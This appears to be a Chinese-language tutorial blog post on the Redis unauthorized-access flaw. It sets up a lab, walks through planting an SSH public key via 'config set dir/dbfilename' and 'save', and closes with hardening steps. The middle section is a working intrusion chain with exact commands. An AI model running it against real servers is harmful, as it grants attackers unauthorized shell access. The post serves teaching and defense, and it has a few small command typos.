Redis未授權訪問漏洞的利用及防護什麼是Redis未授權訪問漏洞?
Redis在預設情況下,會綁定在0.0.0.0:6379
。如果沒有採取相關的安全性原則,比如添加防火牆規則、避免其他非信任來源IP訪問等,這樣會使Redis服務完全暴露在公網上。如果在沒有設定密碼認證(一般為空白)的情況下,會導致任意使用者在訪問目標伺服器時,可以在未授權的情況下訪問Redis以及讀取Redis的資料。攻擊者在未授權訪問Redis的情況下,利用Redis自身的提供的config命令,可以進行檔案的讀寫等操作。攻擊者可以成功地將自己的ssh公開金鑰寫入到目標伺服器的 /root/.ssh
檔案夾下的authotrized_keys
檔案中,進而可以使用對應地私密金鑰直接使用ssh服務登入目標伺服器。
簡單來講,我們可以將漏洞的產生歸結為兩點:
漏洞可能產生的危害:
攻擊者無需認證訪問到內部資料,可能導致敏感資訊泄露,駭客也可以通過惡意執行flushall
來清空所有資料
攻擊者可通過EVAL執行lua代碼,或通過資料備份功能往磁碟寫入後門檔案
如果Redis以root身份運行,駭客可以給root賬戶寫入SSH公開金鑰檔案,直接通過SSH登入受害者伺服器
既然我們已經知道了攻擊手法,那麼我們該如何?這一漏洞的利用呢?
Redis未授權訪問漏洞的利用
環境準備
一、 安裝redis服務
1. 從官網下載redis源碼的壓縮包
wget http://download.redis.io/releases/redis-3.2.11.tar.gz
2. 下載完成後,解壓壓縮包
tar xzf redis-3.2.11.tar.gz
3. 然後進入解壓後的目錄:cd redis-3.2.11
,輸入make
並執行
出現如下即編譯成功:
4. make
結束後,進入src
目錄:cd src
,將redis-server和redis-cli拷貝到/usr/bin
目錄下(這樣啟動redis-server和redis-cli就不用每次都進入安裝目錄了)
你可能會碰到如下問題:
python@ubuntu:~/Desktop/redis-3.2.11/src$ sudo cp redis-server /usr/bin/cp: 無法建立普通檔案'/usr/bin/redis-server': 文字檔忙
這個時候你先去檢查/usr/bin
目錄下是否已經存在redis-server,如果不存在的話,我們選擇停止服務:
python@ubuntu:~/Desktop/redis-3.2.11/src$ redis-cli -h 127.0.0.1 -p 6379 shutdown
或者直接殺死進程就好了:
python@ubuntu:~/Desktop/redis-3.2.11/src$ sudo kill -9 PID
我們再啟動服務就好了~
python@ubuntu:~/Desktop/redis-3.2.11/src$ redis-server
此時我們再檢查下/usr/bin
目錄下是否有redis-cli和redis-server:
python@ubuntu:~$ ls /usr/bin | grep redis
5. 返回目錄redis-3.2.11,將redis.conf拷貝到/etc/
目錄下
python@ubuntu:~/Desktop/redis-3.2.11$ sudo cp redis.conf /etc/
6. 編輯etc中的redis設定檔redis.conf
python@ubuntu:~/Desktop/redis-3.2.11$ vim /etc/redis.conf
去掉ip綁定,允許除本地外的主機遠程登入redis服務:
關閉保護模式,允許遠端連線redis服務:
7. 使用/etc/
目錄下的redis.conf檔案中的配置啟動redis服務
root@kali:~/案頭/redis-3.2.11# redis-server /etc/redis.conf
這裡我又踩了一個大坑,我遇到了這樣一個問題:
python@ubuntu:~/Desktop/redis-3.2.11/src$ redis-server /etc/redis.conf *** FATAL CONFIG FILE ERROR ***Reading the configuration file, at line 80>>> 'protected-mode no'Bad directive or wrong number of arguments
這個問題困擾了我很久,後面驚奇的發現,是因為redis.conf和目前的版本的redis不匹配造成的問題,當前Ubuntu的Redis版本是3.0.6,而redis.conf的版本是3.2.11,後面才知道是因為我Ubuntu裡面已經裝過Redis造成的,解決方案如下:
卸載老版本redis-server:
sudo apt-get remove redis-server
由於之前已經下載了redis-3.2.11的版本,所以我們直接make就好了,照著上面的步驟重新來一遍就OK了。
我們可以看到,版本對應上去了,都是3.2.11,也能夠完成reids.conf檔案中的配置啟動redis服務。
二、安裝ssh服務
由於Ubuntu和Kali Linux已經安裝有ssh服務,但預設沒有啟動,需使用systemctl start sshd
命令啟動ssh服務。
那麼我們該怎麼確定有沒有安裝ssh服務呢?你嘗試一下service sshd start
命令:
fauked to start sshd.service: Unit sshd.service not found
如果出現上述結果時,說明你的虛擬機器沒有安裝ssh服務,此時你需要運行以下命令安裝ssh服務:
sudo apt-get install openssh-server
再次運行以下命令確認ssh服務是否開啟:
ps -e | ssh最後顯示:3228 ? 00:00:00 sshd說明ssh伺服器已啟用
我們讓這兩台虛擬機器主機配置相同的Redis環境,一台作為受害者的靶機,一台作為攻擊者的主機。
至此,我們已經成功搭建完成了漏洞利用的環境,此時的redis服務是可以以root使用者身份遠程免密碼登入的。
三、複現漏洞利用情境
1. 我們先通過ifconfig
測試一下兩台主機的IP地址
我們可以看到,Ubuntu的IP地址是192.168.152.133,Kali Linux的IP地址是192.168.152.131,所以我們不需要修改任何東西,但如果IP地址相同,我們修改其中一台虛擬機器的IP:
ifconfig 網卡名稱(比如ens33) 我們要修改成的IP地址(比如192.168.152.135) up
我們必須保證兩台主機能夠相互ping通
2. 我們假設,Ubuntu為虛擬機器A,Kali Linux為虛擬機器B。虛擬機器A(192.168.152.133)為受害者的主機,虛擬機器B(192.168.152.131)為攻擊者的主機
3. 在A中開啟redis服務:redis-server /etc/redis.conf
4. 新開一個終端,在主機A中執行mkdir /root/.ssh
命令,建立ssh公開金鑰存放目錄(A是作為ssh伺服器使用的)
5. 在B中產生ssh公開金鑰和私密金鑰,密碼設定為空白
6. 進入.ssh
目錄:cd .ssh/
,將產生的公開金鑰儲存到kitty.txt
root@kali:~/.ssh# (echo -e "\n\n";cat id_rsa.pub; echo -e "\n\n") > kitty.txt
7. 將kitty.txt
寫入redis(使用redis-cli -h IP
命令串連主機A,將檔案寫入)
root@kali:~/.ssh# cat kitty.txt | redis-cli -h 192.168.152.133 -x set crackOK
8. 遠程登入主機A的redis服務:redis-cli -h 192.168.0.146
並使用config get dir
命令得到redis備份的路徑
root@kali:~/.ssh# redis-cli -h 192.168.152.133192.168.152.133:6379> config get dir1) "dir"2) "/home/python/.ssh"
9. 更改redis備份路徑為ssh公開金鑰存放目錄(一般預設為/root/.ssh
,這裡我沒有登入root使用者,我登入的使用者名稱是python,所以Ubuntu的預設路徑是/home/python/.ssh
,所以不需要更改)
10. 設定上傳公開金鑰的備份檔案名字為authorized_keys
192.168.152.133:6379> config set dbfilename authorized_keysOK
11. 檢查是否更改成功(查看有沒有authorized_keys
檔案),沒有問題就儲存然後退出,至此,我們成功地寫入ssh公開金鑰到靶機上
192.168.152.133:6379> config get dbfilename1) "dbfilename"2) "authorized_keys"192.168.152.133:6379> saveOK192.168.152.133:6379> exit
12. 開啟主機A和主機B的ssh服務(Fedor預設ssh服務關閉),命令為systemctl start sshd.service
13. 在主機B使用ssh免密登入主機A
root@kali:~/.ssh# ssh -i id_rsa python@192.168.152.133
很明顯,我們已經登入成功了!至此,我們成功地利用redis未授權訪問漏洞實現了ssh免密登入到目標伺服器上。
Redis未授權訪問漏洞的防護禁止遠程使用一些高危命令
我們可以通過修改redis.conf檔案來禁用遠程修改DB檔案地址
rename-command FLUSHALL ""rename-command CONFIG ""rename-command EVAL ""
低許可權運行Redis服務
為Redis服務建立單獨的user
和home
目錄,並且配置禁止登陸
groupadd -r redis && useradd -r -g redis redis
為Redis添加密碼驗證
我們可以通過修改redis.conf檔案來為Redis添加密碼驗證
requirepass mypassword
禁止外網訪問 Redis
我們可以通過修改redis.conf檔案來使得Redis服務只在當前主機可用
bind 127.0.0.1
保證authorized_keys檔案的安全
為了保證安全,您應該阻止其他使用者添加新的公開金鑰。將authorized_keys
的使用權限設定為對擁有者唯讀,其他使用者沒有任何許可權
chmod 400 ~/.ssh/authorized_keys
為保證authorized_keys
的許可權不會被改掉,您還需要設定該檔案的immutable位許可權
chattr +i ~/.ssh/authorized_keys
然而,使用者還可以重新命名~/.ssh
,然後建立新的~/.ssh
目錄和authorized_keys
檔案。要避免這種情況,需要設定~./ssh
的immutable位許可權
chattr +i ~/.ssh
如果需要添加新的公開金鑰,需要移除authorized_keys
的 immutable 位許可權。然後,添加好新的公開金鑰之後,按照上述步驟重新加上immutable位許可權